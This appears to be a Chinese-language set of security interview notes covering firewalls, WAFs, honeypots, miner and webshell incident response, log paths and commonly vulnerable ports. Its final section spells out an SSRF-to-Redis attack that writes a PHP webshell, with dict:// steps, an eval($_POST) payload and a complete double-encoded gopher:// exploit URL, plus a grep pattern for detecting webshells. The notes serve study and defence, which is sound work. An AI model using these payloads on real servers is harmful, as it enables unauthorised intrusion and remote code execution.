| 防火墙是位于两个(或多个)网络间,实行网络间访问或控制的一组组件集合之硬件或软件。隔离网络,制定出不同区域之间的访问控制策略来控制不同信任程度区域间传送的数据流。
|
堡垒机
1
| 是针对内部运维人员的运维安全审计系统。主要功能是对运维人员的运维操作进行审计和权限控制(比如要登录某些平台或者系统只能通过堡垒机才可以,不用堡垒机是无法访问的)。同时堡垒机还有账号集中管理,单点登录(在堡垒机上登录即可实现对多个其他平台的无密登录)等功能。
|
态势感知平台
1
| 以大数据平台为基础,通过收集多元,异构的海量日志,利用关联分析,机器学习,威胁情报,可视化等技术,帮助用户持续监测网络安全态势,实现从被动防御向积极防御的进阶。
|
终端安全管理系统
1
| 是集防病毒,终端安全管控,终端准入,终端审计,外设管控,EDR等功能于一体,兼容不同操作系统和计算机平台,帮助客户实现平台一体化,功能一体化,数据一体化的终端安全立体防护。
|
WAF
1
| WAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。产品主要部署在网站服务器的前方。通过特征提取和分块检索技术进行模式匹配来达到过滤,分析,校验网络请求包的目的,在保证正常网络应用功能的同时,隔绝或者阻断无效或者非法的攻击请求。
|
WAF的分类
1
| WAF分为非嵌入型WAF和嵌入型WAF,非嵌入型指的是硬WAF、云WAF、虚拟机WAF之类的;嵌入型指的是web容器模块类型WAF、代码层WAF。
|
WAF的原理
1
| Web应用防火墙是通过执行一系列针对HTTP或者HTTPS的安全策略来专门为Web应用提供保护的一款产品。WAF对请求的内容进行规则匹配、行为分析等识别出恶意行为,并执行相关动作,这些动作包括阻断、记录、告警等。
|
蜜罐
1
| 蜜罐是一种安全威胁的主动防御技术,它通过模拟一个或多个易受攻击的主机或服务来吸引攻击者,捕获攻击流量与样本,发现网络威胁,提取威胁特征,蜜罐的价值在于被探测,攻陷。
|
其他
如何判断攻击是通过什么漏洞攻击的
1 2 3 4 5
| 1. 审查日志:仔细检查服务器的日志文件,包括系统日志、web服务器日志、应用程序日志等;特别要关注失败的身份验证尝试、异常URL请求、异常的命令执行等 2. 网络流量分析:分析服务器的网络流量,使用网络流量分析工具检测异常的网络连接、数据包捕获和协议分析,查看来自外部网络的异常流量和不寻常的通信模式 3. 漏洞扫描和渗透测试结果 4. 威胁情报和公开漏洞信息 5. 恶意软件分析
|
挖矿病毒判断
1 2 3 4 5 6 7 8
| 挖矿木马占用系统资源进行挖矿行为,一般电脑有以下特征: 1. 系统响应缓慢 2. CPU/显卡使用率过高 3. 内存/带宽占用高 登录可疑主机之后,通过以下方式来确定是否有挖矿木马: 1. 查看进程:系统命令ps、ls可能被替换 2. 检查日志、检查系统用户 3. 检查是否有异常文件
|
清除挖矿木马
1 2 3 4 5 6 7
| 1. 原因排查 2. 清除木马: (1)及时隔离主机; (2)删除文件、阻断与矿池通讯; (3)清除定时任务; (4)清除自启动项; (5)kill挖矿进程
|
木马驻留系统的方式
1 2 3 4 5
| 1. 注册表 2. 服务 3. 启动目录 4. 计划任务 5. 关联文件类型
|
查看异常端口进程情况
netstat -anltp|grep bash
如何查看网站是否存在webshell
1
| find 网站根目录/* -type f -name "*.php" |xargs grep "eval|assert|system"
|
服务器存在webshell如何处理(网站被上传webshell如何处理)
1 2 3 4 5 6 7 8 9 10
| 1. 及时隔离主机 2. 定位事件范围:查看webshell创建的时间,对webshell进行取样分析 3. 通过创建时间和日志进行综合分析,以确定系统存在的漏洞 4. 清除webshell以及残余文件,修复漏洞 ------------------------------------------------------------ 1. 首先关闭网站,下线服务。有必要的话将服务器断网隔离; 2. 手工结合工具进行检测; 2.1. 工具可以使用D盾、河马webshell查杀、百度在线webshell查杀等工具对网站目录进行排查查杀 2.2. 手工方面对比未上传webshell之前备份的文件,从文件或者代码层面进行对比 3. 加强安全策略,例如:定期备份网站配置文件,及时安装服务器补丁,定时更新安全防护软件,定期修改密码等措施。
|
常见端口漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 数据库类:(扫描弱口令) 1433:mssql 1521:oracle 3306:MySQL 特殊服务:(未授权/命令执行) 443:SSL心脏滴血 6379:Redis未授权访问 7001、7002:weblogic默认弱口令 27017、27018:MongoDB未授权 常见端口:(弱口令/端口爆破) 21:FTP弱口令、ms12-073 25:SMTP简单邮件传输服务器端口 23:telnet端口,弱口令 22:ssh,弱口令 53:dns端口 445:SMB,ms08-067、ms17-010和IPC$攻击手段
|
给你一个比较大的日志,应该如何分析
1 2 3 4
| 1. 攻击规则匹配,通过正则匹配日志中的攻击请求 2. 统计方法,统计请求出现的次数,次数少于同类请求平均次数则为异常请求 3. 白名单模式,为正常请求建立白名单,不在名单范围内的则为异常请求 4. 借助日志分析工具
|
Windows和Linux的日志存放位置
1 2 3 4 5 6 7
| Windows: 系统日志:%systemroot%\system32\winevt\logs\system.evtx 应用程序日志:%systemroot%\system32\winevt\logs\application.evtx 安全日志:%systemroot%\system32\winevt\logs\security.evtx Linux: 日志默认存放位置:/var/log 查看日志配置情况:more /etc/rsyslog.conf
|
常见中间件的配置文件路径
1 2 3
| Apache:/etc/httpd/conf Nginx:/etc/nginx iis7:C:\windows\system32\inetsrv\config\
|
常见的waf
1 2 3
| 1. 云waf 2. web防护软件 3. 硬件web防火墙
|
waf有哪些防护方式
1 2 3 4 5 6
| 1. web基础防护 2. CC攻击防护 3. IP黑白名单 4. 地理位置访问控制 5. 网页防篡改 6. 防敏感信息泄露
|
Java中常见的关键字
1 2 3 4
| 1. SPI:服务供应接口 2. RMI:Java远程方法调用 3. LDAP:轻量级目录访问协议 4. CORBA:通用对象请求代理架构
|
Java中常见框架漏洞使用的协议
1
| weblogic反序列化:T3协议和XMLDecodeer
|
常见的OA系统
1 2 3
| PHP:通达OA、泛微Eoffice Java:泛微OA/云桥、致远OA、蓝凌OA、用友OA ASP:启莱OA
|
SSRF怎么结合Redis相关漏洞利用
主要通过两种协议,dict协议和gopher协议。
dict协议利用Redis相关漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| 探测端口: ssrf.php?url=dict://x.x.x.x:$端口$ 利用burpsuite爆破端口
探测是否设置弱口令: ssrf.php?url=dict://x.x.x.x:6379/info 已知端口利用info探测是否设置了密码
爆破密码: ssrf.php?url=dict://x.x.x.x:6379/auth:$密码$ 利用burpsuite爆破密码
写入webshell: 1. url=dict://xxx.xxx:6379/config:set:dir:/var/www/html 切换文件目录 2. url=dict://xxx.xxx:6379/config:set:dbfilename:webshell.php 设置保存文件名 3. url=dict://xxx.xxx:6379/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e" //利用dict协议写入webshell 以上的字符编码是<?php phpinfo();?>的十六进制 4. url=dict://x.x.x.x:6379/save 保存
|
gopher协议利用redis未授权访问漏洞写入webshell:
1 2 3 4 5 6 7 8 9 10 11 12
| 常规利用步骤:
set x "\n\n\n<?php @eval($_POST['redis']);?>\n\n\n" config set dir /var/www/html config set dbfilename shell.php save
两次url编码后构造url: http://192.168.1.1/ssrf.php?url=gopher%3a%2f%2f127.0.0.1%3a6379%2f_%25%37%33%25%36%35%25%37%34%25%32%30%25%37%38%25%32%30%25%32%32%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%34%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%37%25%37%32%25%36%35%25%36%34%25%36%39%25%37%33%25%32%37%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65%25%35%63%25%36%65%25%35%63%25%36%65%25%35%63%25%36%65%25%32%32%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%39%25%37%32%25%32%30%25%32%66%25%37%36%25%36%31%25%37%32%25%32%66%25%37%37%25%37%37%25%37%37%25%32%66%25%36%38%25%37%34%25%36%64%25%36%63%25%32%30%25%32%30%25%30%61%25%36%33%25%36%66%25%36%65%25%36%36%25%36%39%25%36%37%25%32%30%25%37%33%25%36%35%25%37%34%25%32%30%25%36%34%25%36%32%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%32%30%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30%25%30%61%25%37%33%25%36%31%25%37%36%25%36%35
//第一次url解码和第二次url解码 //同理其他类似计划任务反弹和写入ssh公钥等getshell方式相似
|